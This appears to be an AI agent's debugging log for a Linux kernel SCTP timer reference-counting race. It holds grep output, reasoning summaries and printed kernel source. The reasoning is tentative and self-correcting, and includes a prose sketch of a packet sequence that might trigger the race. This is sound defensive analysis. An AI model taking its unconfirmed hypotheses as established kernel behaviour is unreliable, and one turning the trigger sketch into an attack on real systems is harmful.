net/sctp/sm_statefuns.c=1882=static enum sctp_disposition sctp_sf_do_dupcook_a(
--
net/sctp/sm_statefuns.c-1951-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:1952:			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-1953-	sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_ASCONF_QUEUE, SCTP_NULL());
--
net/sctp/sm_statefuns.c=4055=enum sctp_disposition sctp_sf_do_asconf_ack(struct net *net,
--
net/sctp/sm_statefuns.c-4124-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:4125:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-4126-		sctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());
--
net/sctp/sm_statefuns.c-4137-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:4138:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-4139-
--
net/sctp/sm_statefuns.c=5573=enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
--
net/sctp/sm_statefuns.c-5583-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c:5584:			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-5585-	sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(chunk));
--
net/sctp/sm_statefuns.c=6142=enum sctp_disposition sctp_sf_t4_timer_expire(
--
net/sctp/sm_statefuns.c-6176-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:6177:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-6178-		sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
--
net/sctp/sm_statefuns.c-6206-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:6207:			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-6208-
--
net/sctp/sm_statetable.c=756=other_event_table[SCTP_NUM_OTHER_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-855-
net/sctp/sm_statetable.c:856:#define TYPE_SCTP_EVENT_TIMEOUT_T4_RTO { \
net/sctp/sm_statetable.c-857-	/* SCTP_STATE_CLOSED */ \
--
net/sctp/sm_statetable.c=990=timeout_event_table[SCTP_NUM_TIMEOUT_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-995-	TYPE_SCTP_EVENT_TIMEOUT_T3_RTX,
net/sctp/sm_statetable.c:996:	TYPE_SCTP_EVENT_TIMEOUT_T4_RTO,
net/sctp/sm_statetable.c-997-	TYPE_SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD,
]

gemini-3.1-pro-preview

							input: 175882
							output: 43
							thoughts: 3960
						

**My Thought Process Unraveling the T4_RTO Timer Race Condition**

My initial understanding was that the `T4_RTO` timer is exclusively initiated by `sctp_sf_do_prm_asconf`. This function, in turn, is invoked by either `sctp_primitive_ASCONF` or `sctp_send_next_asconf`. My analysis of `sctp_primitive_ASCONF` revealed it's called from `setsockopt`, operating within a process context where `lock_sock` is held. This led me to believe that if the timer fired, it would contend for `bh_lock_sock`, potentially spinning.

However, a crucial realization struck me: `setsockopt` does *not* hold `bh_lock_sock`. This immediately resolved my concern about spinning. The timer callback would acquire `bh_lock_sock` directly. Furthermore, because `setsockopt` holds `lock_sock`, the `sock_owned_by_user(sk)` check within the timer callback would evaluate to TRUE. This meant the timer callback would correctly proceed to call `mod_timer` and `sctp_association_hold`, followed by unlocking `bh_lock_sock` and calling `sctp_association_put`. From this perspective, the timer management appeared perfectly balanced.

Then I shifted my focus to the `sctp_send_next_asconf` path. My understanding was that this function is invoked from `sctp_sf_do_asconf_ack`, which is triggered by receiving an `ASCONF_ACK` – an operation occurring in softirq context. In this context, `bh_lock_sock` is held. My concern here was that `sock_owned_by_user(sk)` would be FALSE. Consequently, if `T4_RTO` were already pending when `sctp_send_next_asconf` was called, I foresaw a potential race condition.

But a closer inspection of `sctp_sf_do_asconf_ack` revealed a critical detail: it *stops* the `T4_RTO` timer *before* calling `sctp_send_next_asconf`. This is explicitly shown by the `sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP, SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO))` call. If the timer is stopped, it's not pending. Therefore, when `sctp_send_next_asconf` subsequently initiates `SCTP_CMD_TIMER_START`, the `timer_pending` check would correctly return FALSE, leading to the association being held as expected. This, too, seemed to avoid a race.

My next line of inquiry involved a subtle edge case: what if `timer_delete` within `SCTP_CMD_TIMER_STOP` returns 0, indicating the timer is currently running on another CPU? If the timer is active on another CPU, it would be spinning on `bh_lock_sock`, which is already held by the softirq processing the ACK. In this scenario, `timer_delete` would return 0. Subsequently, `SCTP_CMD_TIMER_START` would be processed. `timer_pending` would still return FALSE (as the timer is running, not pending), leading to the association being held. Then, `timer_reduce` would enqueue the timer. When the softirq releases `bh_lock_sock`, the timer callback would acquire it, see `sock_owned_by_user(sk) == false`, and execute `sctp_sf_t4_timer_expire`. This would generate `SCTP_CMD_TIMER_RESTART`. `mod_timer` would return 1 (due to being enqueued by `timer_reduce`), so the association would *not* be held. Finally, the association would be put. This sequence also appeared to be balanced.

I then broadened my search, questioning if there was *any* scenario where `timer_pending` might return TRUE within `SCTP_CMD_TIMER_START`. I examined other timers:
*   **T1_INIT**: Called from `sctp_sf_do_5_2_6_stale`, but `T1_INIT` wouldn't be pending in the `COOKIE_ECHOED` state.
*   **AUTOCLOSE**: Started by `sctp_sf_do_5_1D_ce` and `sctp_sf_do_5_1E_ca`, but these are called during transitions to the `ESTABLISHED` state, not when `AUTOCLOSE` is already pending.
*   **T2_SHUTDOWN**: This timer's start is triggered by `sctp_sf_do_9_2_start_shutdown`. I investigated its call sites:
    *   Receiving duplicate `COOKIE_ECHO` in `SHUTDOWN_SENT`.
    *   Receiving `SHUTDOWN_ACK` in `SHUTDOWN_SENT`.
    However, I noted that `sctp_sf_do_8_5_1_E_sa` (handling `SHUTDOWN_ACK`) actually calls `sctp_sf_do_9_2_final`, not `sctp_sf_do_9_2_start_shutdown`. My focus then shifted to `sctp_sf_do_dupcook_a`.

In `sctp_sf_do_dupcook_a`, if the socket is closed (`SOCK_DEAD`) and the state is `SHUTDOWN_SENT`, it correctly calls `sctp_sf_do_9_2_start_shutdown`. This function generates `SCTP_CMD_TIMER_START` for `T2_SHUTDOWN`. My concern resurfaced: if `T2_SHUTDOWN` is *already running* (which it would be in `SHUTDOWN_SENT` state), then `timer_pending` would return TRUE. In this specific case, `SCTP_CMD_TIMER_START` would *not* hold the association. Following this, `timer_reduce` is called. Here's where the race became apparent: if the timer fires precisely between `timer_pending` returning TRUE and `timer_reduce` being called, `timer_reduce` would enqueue the timer *without* the association being held. This felt like a genuine race condition.

I then considered if this race could be triggered. My hypothesis was that it could occur if:
1.  An SCTP socket is created and connected.
2.  The socket is closed (`close(fd)`), transitioning the state to `SHUTDOWN_PENDING` or `SHUTDOWN_SENT`.
3.  The peer sends a duplicate `COOKIE_ECHO`.
4.  The kernel receives it, leading to `sctp_sf_do_dupcook_a` being called.
5.  This then calls `sctp_sf_do_9_2_start_shutdown`, generating `SCTP_CMD_TIMER_START` for `T2_SHUTDOWN`.
6.  If `T2_SHUTDOWN` fires concurrently, the race condition I identified would manifest.

However, I noted that the syzbot reproducer did *not* follow this exact sequence. Instead, it involved `setsockopt(SCTP_SOCKOPT_BINDX_ADD)` and `SCTP_SOCKOPT_BINDX_REM` concurrently. This led me to re-examine the `T4_RTO` timer and its potential for being pending when `sctp_primitive_ASCONF` is called.

My prior analysis indicated `T4_RTO` is started by `sctp_sf_do_prm_asconf`. I then considered if `T4_RTO` could be pending when `sctp_send_asconf` calls `sctp_primitive_ASCONF`. My initial thought was yes, if `T4_RTO` started and then `asoc->addip_last_asconf` was set to NULL. I checked where `asoc->addip_last_asconf` is set to NULL, finding it in `sctp_process_asconf_ack` and `sctp_association_free`. However, `sctp_process_asconf_ack` is called from `sctp_sf_do_asconf_ack`, which, as I previously noted, *stops* the `T4_RTO` timer *before* calling `sctp_process_asconf_ack`. This again meant `T4_RTO` would not be pending.

I also questioned if `sctp_primitive_ASCONF` could be called twice. The check for `asoc->addip_last_asconf` within `sctp_send_asconf` prevents this; if it's NULL, `sctp_primitive_ASCONF` is called and `asoc->addip_last_asconf` is set to the chunk. If it's not NULL, the chunk is just queued. So, `sctp_primitive_ASCONF` is indeed called only once per `ASCONF` transmission attempt.

My next thought was about a failure in `sctp_primitive_ASCONF`. If it fails, `asoc->addip_last_asconf` remains NULL, but `SCTP_CMD_TIMER_START` would have already been generated. I decided to delve into the return values and error handling of `sctp_primitive_ASCONF` and `sctp_do_sm` to understand how failures might propagate and affect timer states. This is where my current line of investigation is focused.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_side_effects]

map[SourceCode:1183:	/*****************************************************************
1184:	 * This the master state function side effect processing function.
1185:	 *****************************************************************/
1186:	static int sctp_side_effects(enum sctp_event_type event_type,
1187:				     union sctp_subtype subtype,
1188:				     enum sctp_state state,
1189:				     struct sctp_endpoint *ep,
1190:				     struct sctp_association **asoc,
1191:				     void *event_arg,
1192:				     enum sctp_disposition status,
1193:				     struct sctp_cmd_seq *commands,
1194:				     gfp_t gfp)
1195:	{
1196:		int error;
1197:	
1198:		/* FIXME - Most of the dispositions left today would be categorized
1199:		 * as "exceptional" dispositions.  For those dispositions, it
1200:		 * may not be proper to run through any of the commands at all.
1201:		 * For example, the command interpreter might be run only with
1202:		 * disposition SCTP_DISPOSITION_CONSUME.
1203:		 */
1204:		if (0 != (error = sctp_cmd_interpreter(event_type, subtype, state,
1205:						       ep, *asoc,
1206:						       event_arg, status,
1207:						       commands, gfp)))
1208:			goto bail;
1209:	
1210:		switch (status) {
1211:		case SCTP_DISPOSITION_DISCARD:
1212:			pr_debug("%s: ignored sctp protocol event - state:%d, "
1213:				 "event_type:%d, event_id:%d\n", __func__, state,
1214:				 event_type, subtype.chunk);
1215:			break;
1216:	
1217:		case SCTP_DISPOSITION_NOMEM:
1218:			/* We ran out of memory, so we need to discard this
1219:			 * packet.
1220:			 */
1221:			/* BUG--we should now recover some memory, probably by
1222:			 * reneging...
1223:			 */
1224:			error = -ENOMEM;
1225:			break;
1226:	
1227:		case SCTP_DISPOSITION_DELETE_TCB:
1228:		case SCTP_DISPOSITION_ABORT:
1229:			/* This should now be a command. */
1230:			*asoc = NULL;
1231:			break;
1232:	
1233:		case SCTP_DISPOSITION_CONSUME:
1234:			/*
1235:			 * We should no longer have much work to do here as the
1236:			 * real work has been done as explicit commands above.
1237:			 */
1238:			break;
1239:	
1240:		case SCTP_DISPOSITION_VIOLATION:
1241:			net_err_ratelimited("protocol violation state %d chunkid %d\n",
1242:					    state, subtype.chunk);
1243:			break;
1244:	
1245:		case SCTP_DISPOSITION_NOT_IMPL:
1246:			pr_warn("unimplemented feature in state %d, event_type %d, event_id %d\n",
1247:				state, event_type, subtype.chunk);
1248:			break;
1249:	
1250:		case SCTP_DISPOSITION_BUG:
1251:			pr_err("bug in state %d, event_type %d, event_id %d\n",
1252:			       state, event_type, subtype.chunk);
1253:			BUG();
1254:			break;
1255:	
1256:		default:
1257:			pr_err("impossible disposition %d in state %d, event_type %d, event_id %d\n",
1258:			       status, state, event_type, subtype.chunk);
1259:			error = status;
1260:			if (error >= 0)
1261:				error = -EINVAL;
1262:			WARN_ON_ONCE(1);
1263:			break;
1264:		}
1265:	
1266:	bail:
1267:		return error;
1268:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 181145
							output: 43
							thoughts: 68
						

**My Thought Process on SCTP Command Interpreter Error Handling**

Okay, so I'm looking at the SCTP command interpreter logic, and I've noticed a dependency: if `sctp_cmd_interpreter` itself encounters an error and returns it, then `sctp_side_effects` will also propagate that same error. That makes sense as a general principle – the side effects should reflect the outcome of the command execution.

My immediate next question, then, is about a specific command: `SCTP_CMD_REPLY`. I need to know if *this particular command*, when executed by `sctp_cmd_interpreter`, has the potential to return an error. To answer that, I'll need to delve into the implementation of `sctp_cmd_interpreter` and specifically examine how it handles the `SCTP_CMD_REPLY` case. This is crucial for understanding the complete error propagation path for this specific operation.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_cmd_interpreter]

map[SourceCode:1274:	/* This is the side-effect interpreter.  */
1275:	static int sctp_cmd_interpreter(enum sctp_event_type event_type,
1276:					union sctp_subtype subtype,
1277:					enum sctp_state state,
1278:					struct sctp_endpoint *ep,
1279:					struct sctp_association *asoc,
1280:					void *event_arg,
1281:					enum sctp_disposition status,
1282:					struct sctp_cmd_seq *commands,
1283:					gfp_t gfp)
1284:	{
1285:		struct sctp_sock *sp = sctp_sk(ep->base.sk);
1286:		struct sctp_chunk *chunk = NULL, *new_obj;
1287:		struct sctp_packet *packet;
1288:		struct sctp_sackhdr sackh;
1289:		struct timer_list *timer;
1290:		struct sctp_transport *t;
1291:		unsigned long timeout;
1292:		struct sctp_cmd *cmd;
1293:		int local_cork = 0;
1294:		int error = 0;
1295:		int force;
1296:	
1297:		if (SCTP_EVENT_T_TIMEOUT != event_type)
1298:			chunk = event_arg;
1299:	
1300:		/* Note:  This whole file is a huge candidate for rework.
1301:		 * For example, each command could either have its own handler, so
1302:		 * the loop would look like:
1303:		 *     while (cmds)
1304:		 *         cmd->handle(x, y, z)
1305:		 * --jgrimm
1306:		 */
1307:		while (NULL != (cmd = sctp_next_cmd(commands))) {
1308:			switch (cmd->verb) {
1309:			case SCTP_CMD_NOP:
1310:				/* Do nothing. */
1311:				break;
1312:	
1313:			case SCTP_CMD_NEW_ASOC:
1314:				/* Register a new association.  */
1315:				if (local_cork) {
1316:					sctp_outq_uncork(&asoc->outqueue, gfp);
1317:					local_cork = 0;
1318:				}
1319:	
1320:				/* Register with the endpoint.  */
1321:				asoc = cmd->obj.asoc;
1322:				BUG_ON(asoc->peer.primary_path == NULL);
1323:				sctp_endpoint_add_asoc(ep, asoc);
1324:				break;
1325:	
1326:			case SCTP_CMD_PURGE_OUTQUEUE:
1327:			       sctp_outq_teardown(&asoc->outqueue);
1328:			       break;
1329:	
1330:			case SCTP_CMD_DELETE_TCB:
1331:				if (local_cork) {
1332:					sctp_outq_uncork(&asoc->outqueue, gfp);
1333:					local_cork = 0;
1334:				}
1335:				/* No chunk left in this packet may use this asoc. */
1336:				if (event_type == SCTP_EVENT_T_CHUNK &&
1337:				    chunk->asoc == asoc)
1338:					chunk->pdiscard = 1;
1339:				/* Delete the current association.  */
1340:				sctp_cmd_delete_tcb(commands, asoc);
1341:				asoc = NULL;
1342:				break;
1343:	
1344:			case SCTP_CMD_NEW_STATE:
1345:				/* Enter a new state.  */
1346:				sctp_cmd_new_state(commands, asoc, cmd->obj.state);
1347:				break;
1348:	
1349:			case SCTP_CMD_REPORT_TSN:
1350:				/* Record the arrival of a TSN.  */
1351:				error = sctp_tsnmap_mark(&asoc->peer.tsn_map,
1352:							 cmd->obj.u32, NULL);
1353:				break;
1354:	
1355:			case SCTP_CMD_REPORT_FWDTSN:
1356:				asoc->stream.si->report_ftsn(&asoc->ulpq, cmd->obj.u32);
1357:				break;
1358:	
1359:			case SCTP_CMD_PROCESS_FWDTSN:
1360:				asoc->stream.si->handle_ftsn(&asoc->ulpq,
1361:							     cmd->obj.chunk);
1362:				break;
1363:	
1364:			case SCTP_CMD_GEN_SACK:
1365:				/* Generate a Selective ACK.
1366:				 * The argument tells us whether to just count
1367:				 * the packet and MAYBE generate a SACK, or
1368:				 * force a SACK out.
1369:				 */
1370:				force = cmd->obj.i32;
1371:				error = sctp_gen_sack(asoc, force, commands);
1372:				break;
1373:	
1374:			case SCTP_CMD_PROCESS_SACK:
1375:				/* Process an inbound SACK.  */
1376:				error = sctp_cmd_process_sack(commands, asoc,
1377:							      cmd->obj.chunk);
1378:				break;
1379:	
1380:			case SCTP_CMD_GEN_INIT_ACK:
1381:				/* Generate an INIT ACK chunk.  */
1382:				new_obj = sctp_make_init_ack(asoc, chunk, GFP_ATOMIC,
1383:							     0);
1384:				if (!new_obj) {
1385:					error = -ENOMEM;
1386:					break;
1387:				}
1388:	
1389:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1390:						SCTP_CHUNK(new_obj));
1391:				break;
1392:	
1393:			case SCTP_CMD_PEER_INIT:
1394:				/* Process a unified INIT from the peer.
1395:				 * Note: Only used during INIT-ACK processing.  If
1396:				 * there is an error just return to the outter
1397:				 * layer which will bail.
1398:				 */
1399:				error = sctp_cmd_process_init(commands, asoc, chunk,
1400:							      cmd->obj.init, gfp);
1401:				break;
1402:	
1403:			case SCTP_CMD_GEN_COOKIE_ECHO:
1404:				/* Generate a COOKIE ECHO chunk.  */
1405:				new_obj = sctp_make_cookie_echo(asoc, chunk);
1406:				if (!new_obj) {
1407:					if (cmd->obj.chunk)
1408:						sctp_chunk_free(cmd->obj.chunk);
1409:					error = -ENOMEM;
1410:					break;
1411:				}
1412:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1413:						SCTP_CHUNK(new_obj));
1414:	
1415:				/* If there is an ERROR chunk to be sent along with
1416:				 * the COOKIE_ECHO, send it, too.
1417:				 */
1418:				if (cmd->obj.chunk)
1419:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1420:							SCTP_CHUNK(cmd->obj.chunk));
1421:	
1422:				if (new_obj->transport) {
1423:					new_obj->transport->init_sent_count++;
1424:					asoc->init_last_sent_to = new_obj->transport;
1425:				}
1426:	
1427:				/* FIXME - Eventually come up with a cleaner way to
1428:				 * enabling COOKIE-ECHO + DATA bundling during
1429:				 * multihoming stale cookie scenarios, the following
1430:				 * command plays with asoc->peer.retran_path to
1431:				 * avoid the problem of sending the COOKIE-ECHO and
1432:				 * DATA in different paths, which could result
1433:				 * in the association being ABORTed if the DATA chunk
1434:				 * is processed first by the server.  Checking the
1435:				 * init error counter simply causes this command
1436:				 * to be executed only during failed attempts of
1437:				 * association establishment.
1438:				 */
1439:				if ((asoc->peer.retran_path !=
1440:				     asoc->peer.primary_path) &&
1441:				    (asoc->init_err_counter > 0)) {
1442:					sctp_add_cmd_sf(commands,
1443:							SCTP_CMD_FORCE_PRIM_RETRAN,
1444:							SCTP_NULL());
1445:				}
1446:	
1447:				break;
1448:	
1449:			case SCTP_CMD_GEN_SHUTDOWN:
1450:				/* Generate SHUTDOWN when in SHUTDOWN_SENT state.
1451:				 * Reset error counts.
1452:				 */
1453:				asoc->overall_error_count = 0;
1454:	
1455:				/* Generate a SHUTDOWN chunk.  */
1456:				new_obj = sctp_make_shutdown(asoc, chunk);
1457:				if (!new_obj) {
1458:					error = -ENOMEM;
1459:					break;
1460:				}
1461:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1462:						SCTP_CHUNK(new_obj));
1463:				break;
1464:	
1465:			case SCTP_CMD_CHUNK_ULP:
1466:				/* Send a chunk to the sockets layer.  */
1467:				pr_debug("%s: sm_sideff: chunk_up:%p, ulpq:%p\n",
1468:					 __func__, cmd->obj.chunk, &asoc->ulpq);
1469:	
1470:				asoc->stream.si->ulpevent_data(&asoc->ulpq,
1471:							       cmd->obj.chunk,
1472:							       GFP_ATOMIC);
1473:				break;
1474:	
1475:			case SCTP_CMD_EVENT_ULP:
1476:				/* Send a notification to the sockets layer.  */
1477:				pr_debug("%s: sm_sideff: event_up:%p, ulpq:%p\n",
1478:					 __func__, cmd->obj.ulpevent, &asoc->ulpq);
1479:	
1480:				asoc->stream.si->enqueue_event(&asoc->ulpq,
1481:							       cmd->obj.ulpevent);
1482:				break;
1483:	
1484:			case SCTP_CMD_REPLY:
1485:				/* If an caller has not already corked, do cork. */
1486:				if (!asoc->outqueue.cork) {
1487:					sctp_outq_cork(&asoc->outqueue);
1488:					local_cork = 1;
1489:				}
1490:				/* Send a chunk to our peer.  */
1491:				sctp_outq_tail(&asoc->outqueue, cmd->obj.chunk, gfp);
1492:				break;
1493:	
1494:			case SCTP_CMD_SEND_PKT:
1495:				/* Send a full packet to our peer.  */
1496:				packet = cmd->obj.packet;
1497:				sctp_packet_transmit(packet, gfp);
1498:				sctp_ootb_pkt_free(packet);
1499:				break;
1500:	
1501:			case SCTP_CMD_T1_RETRAN:
1502:				/* Mark a transport for retransmission.  */
1503:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1504:						SCTP_RTXR_T1_RTX);
1505:				break;
1506:	
1507:			case SCTP_CMD_RETRAN:
1508:				/* Mark a transport for retransmission.  */
1509:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1510:						SCTP_RTXR_T3_RTX);
1511:				break;
1512:	
1513:			case SCTP_CMD_ECN_CE:
1514:				/* Do delayed CE processing.   */
1515:				sctp_do_ecn_ce_work(asoc, cmd->obj.u32);
1516:				break;
1517:	
1518:			case SCTP_CMD_ECN_ECNE:
1519:				/* Do delayed ECNE processing. */
1520:				new_obj = sctp_do_ecn_ecne_work(asoc, cmd->obj.u32,
1521:								chunk);
1522:				if (new_obj)
1523:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1524:							SCTP_CHUNK(new_obj));
1525:				break;
1526:	
1527:			case SCTP_CMD_ECN_CWR:
1528:				/* Do delayed CWR processing.  */
1529:				sctp_do_ecn_cwr_work(asoc, cmd->obj.u32);
1530:				break;
1531:	
1532:			case SCTP_CMD_SETUP_T2:
1533:				sctp_cmd_setup_t2(commands, asoc, cmd->obj.chunk);
1534:				break;
1535:	
1536:			case SCTP_CMD_TIMER_START_ONCE:
1537:				timer = &asoc->timers[cmd->obj.to];
1538:	
1539:				if (timer_pending(timer))
1540:					break;
1541:				fallthrough;
1542:	
1543:			case SCTP_CMD_TIMER_START:
1544:				timer = &asoc->timers[cmd->obj.to];
1545:				timeout = asoc->timeouts[cmd->obj.to];
1546:				BUG_ON(!timeout);
1547:	
1548:				/*
1549:				 * SCTP has a hard time with timer starts.  Because we process
1550:				 * timer starts as side effects, it can be hard to tell if we
1551:				 * have already started a timer or not, which leads to BUG
1552:				 * halts when we call add_timer. So here, instead of just starting
1553:				 * a timer, if the timer is already started, and just mod
1554:				 * the timer with the shorter of the two expiration times
1555:				 */
1556:				if (!timer_pending(timer))
1557:					sctp_association_hold(asoc);
1558:				timer_reduce(timer, jiffies + timeout);
1559:				break;
1560:	
1561:			case SCTP_CMD_TIMER_RESTART:
1562:				timer = &asoc->timers[cmd->obj.to];
1563:				timeout = asoc->timeouts[cmd->obj.to];
1564:				if (!mod_timer(timer, jiffies + timeout))
1565:					sctp_association_hold(asoc);
1566:				break;
1567:	
1568:			case SCTP_CMD_TIMER_STOP:
1569:				timer = &asoc->timers[cmd->obj.to];
1570:				if (timer_delete(timer))
1571:					sctp_association_put(asoc);
1572:				break;
1573:	
1574:			case SCTP_CMD_INIT_CHOOSE_TRANSPORT:
1575:				chunk = cmd->obj.chunk;
1576:				t = sctp_assoc_choose_alter_transport(asoc,
1577:							asoc->init_last_sent_to);
1578:				asoc->init_last_sent_to = t;
1579:				chunk->transport = t;
1580:				t->init_sent_count++;
1581:				/* Set the new transport as primary */
1582:				sctp_assoc_set_primary(asoc, t);
1583:				break;
1584:	
1585:			case SCTP_CMD_INIT_RESTART:
1586:				/* Do the needed accounting and updates
1587:				 * associated with restarting an initialization
1588:				 * timer. Only multiply the timeout by two if
1589:				 * all transports have been tried at the current
1590:				 * timeout.
1591:				 */
1592:				sctp_cmd_t1_timer_update(asoc,
1593:							SCTP_EVENT_TIMEOUT_T1_INIT,
1594:							"INIT");
1595:	
1596:				sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
1597:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
1598:				break;
1599:	
1600:			case SCTP_CMD_COOKIEECHO_RESTART:
1601:				/* Do the needed accounting and updates
1602:				 * associated with restarting an initialization
1603:				 * timer. Only multiply the timeout by two if
1604:				 * all transports have been tried at the current
1605:				 * timeout.
1606:				 */
1607:				sctp_cmd_t1_timer_update(asoc,
1608:							SCTP_EVENT_TIMEOUT_T1_COOKIE,
1609:							"COOKIE");
1610:	
1611:				/* If we've sent any data bundled with
1612:				 * COOKIE-ECHO we need to resend.
1613:				 */
1614:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1615:						transports) {
1616:					sctp_retransmit_mark(&asoc->outqueue, t,
1617:						    SCTP_RTXR_T1_RTX);
1618:				}
1619:	
1620:				sctp_add_cmd_sf(commands,
1621:						SCTP_CMD_TIMER_RESTART,
1622:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
1623:				break;
1624:	
1625:			case SCTP_CMD_INIT_FAILED:
1626:				sctp_cmd_init_failed(commands, asoc, cmd->obj.u16);
1627:				break;
1628:	
1629:			case SCTP_CMD_ASSOC_FAILED:
1630:				sctp_cmd_assoc_failed(commands, asoc, event_type,
1631:						      subtype, chunk, cmd->obj.u16);
1632:				break;
1633:	
1634:			case SCTP_CMD_INIT_COUNTER_INC:
1635:				asoc->init_err_counter++;
1636:				break;
1637:	
1638:			case SCTP_CMD_INIT_COUNTER_RESET:
1639:				asoc->init_err_counter = 0;
1640:				asoc->init_cycle = 0;
1641:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1642:						    transports) {
1643:					t->init_sent_count = 0;
1644:				}
1645:				break;
1646:	
1647:			case SCTP_CMD_REPORT_DUP:
1648:				sctp_tsnmap_mark_dup(&asoc->peer.tsn_map,
1649:						     cmd->obj.u32);
1650:				break;
1651:	
1652:			case SCTP_CMD_REPORT_BAD_TAG:
1653:				pr_debug("%s: vtag mismatch!\n", __func__);
1654:				break;
1655:	
1656:			case SCTP_CMD_STRIKE:
1657:				/* Mark one strike against a transport.  */
1658:				sctp_do_8_2_transport_strike(commands, asoc,
1659:							    cmd->obj.transport, 0);
1660:				break;
1661:	
1662:			case SCTP_CMD_TRANSPORT_IDLE:
1663:				t = cmd->obj.transport;
1664:				sctp_transport_lower_cwnd(t, SCTP_LOWER_CWND_INACTIVE);
1665:				break;
1666:	
1667:			case SCTP_CMD_TRANSPORT_HB_SENT:
1668:				t = cmd->obj.transport;
1669:				sctp_do_8_2_transport_strike(commands, asoc,
1670:							     t, 1);
1671:				t->hb_sent = 1;
1672:				break;
1673:	
1674:			case SCTP_CMD_TRANSPORT_ON:
1675:				t = cmd->obj.transport;
1676:				sctp_cmd_transport_on(commands, asoc, t, chunk);
1677:				break;
1678:	
1679:			case SCTP_CMD_HB_TIMERS_START:
1680:				sctp_cmd_hb_timers_start(commands, asoc);
1681:				break;
1682:	
1683:			case SCTP_CMD_HB_TIMER_UPDATE:
1684:				t = cmd->obj.transport;
1685:				sctp_transport_reset_hb_timer(t);
1686:				break;
1687:	
1688:			case SCTP_CMD_HB_TIMERS_STOP:
1689:				sctp_cmd_hb_timers_stop(commands, asoc);
1690:				break;
1691:	
1692:			case SCTP_CMD_PROBE_TIMER_UPDATE:
1693:				t = cmd->obj.transport;
1694:				sctp_transport_reset_probe_timer(t);
1695:				break;
1696:	
1697:			case SCTP_CMD_REPORT_ERROR:
1698:				error = cmd->obj.error;
1699:				break;
1700:	
1701:			case SCTP_CMD_PROCESS_CTSN:
1702:				/* Dummy up a SACK for processing. */
1703:				sackh.cum_tsn_ack = cmd->obj.be32;
1704:				sackh.a_rwnd = htonl(asoc->peer.rwnd +
1705:						     asoc->outqueue.outstanding_bytes);
1706:				sackh.num_gap_ack_blocks = 0;
1707:				sackh.num_dup_tsns = 0;
1708:				chunk->subh.sack_hdr = &sackh;
1709:				sctp_add_cmd_sf(commands, SCTP_CMD_PROCESS_SACK,
1710:						SCTP_CHUNK(chunk));
1711:				break;
1712:	
1713:			case SCTP_CMD_DISCARD_PACKET:
1714:				/* We need to discard the whole packet.
1715:				 * Uncork the queue since there might be
1716:				 * responses pending
1717:				 */
1718:				chunk->pdiscard = 1;
1719:				if (asoc) {
1720:					sctp_outq_uncork(&asoc->outqueue, gfp);
1721:					local_cork = 0;
1722:				}
1723:				break;
1724:	
1725:			case SCTP_CMD_RTO_PENDING:
1726:				t = cmd->obj.transport;
1727:				t->rto_pending = 1;
1728:				break;
1729:	
1730:			case SCTP_CMD_PART_DELIVER:
1731:				asoc->stream.si->start_pd(&asoc->ulpq, GFP_ATOMIC);
1732:				break;
1733:	
1734:			case SCTP_CMD_RENEGE:
1735:				asoc->stream.si->renege_events(&asoc->ulpq,
1736:							       cmd->obj.chunk,
1737:							       GFP_ATOMIC);
1738:				break;
1739:	
1740:			case SCTP_CMD_SETUP_T4:
1741:				sctp_cmd_setup_t4(commands, asoc, cmd->obj.chunk);
1742:				break;
1743:	
1744:			case SCTP_CMD_PROCESS_OPERR:
1745:				sctp_cmd_process_operr(commands, asoc, chunk);
1746:				break;
1747:			case SCTP_CMD_CLEAR_INIT_TAG:
1748:				asoc->peer.i.init_tag = 0;
1749:				break;
1750:			case SCTP_CMD_DEL_NON_PRIMARY:
1751:				sctp_cmd_del_non_primary(asoc);
1752:				break;
1753:			case SCTP_CMD_T3_RTX_TIMERS_STOP:
1754:				sctp_cmd_t3_rtx_timers_stop(commands, asoc);
1755:				break;
1756:			case SCTP_CMD_FORCE_PRIM_RETRAN:
1757:				t = asoc->peer.retran_path;
1758:				asoc->peer.retran_path = asoc->peer.primary_path;
